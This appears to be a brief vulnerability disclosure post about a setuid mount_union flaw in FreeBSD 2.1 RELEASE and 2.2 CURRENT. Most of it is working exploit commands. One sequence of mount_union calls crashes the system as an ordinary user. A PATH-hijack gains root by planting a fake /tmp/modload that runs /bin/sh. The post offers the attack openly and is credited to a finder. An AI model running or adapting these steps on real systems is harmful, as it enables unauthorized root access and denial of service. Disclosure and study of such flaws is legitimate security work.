Hi!
FreeBSD has a security hole...
dangerous is mount_union if suid is set
vulnerable systems are: FreeBSD 2.1 RELEASE/2.2 CURRENT
probably FreeBSD 2.1 STABLE is not vulnerable
to crash system (as a normal user) try this:
mkdir a
mkdir b
mount_union ~/a ~/b
mount_union -b ~/a ~/b

to got euid try this:
export PATH=/tmp:$PATH #if zsh, of course
echo /bin/sh >/tmp/modload
chmod +x /tmp/modload
mount_union /dir1 /dir2
and You are root!

Hole found by Adam Kubicki
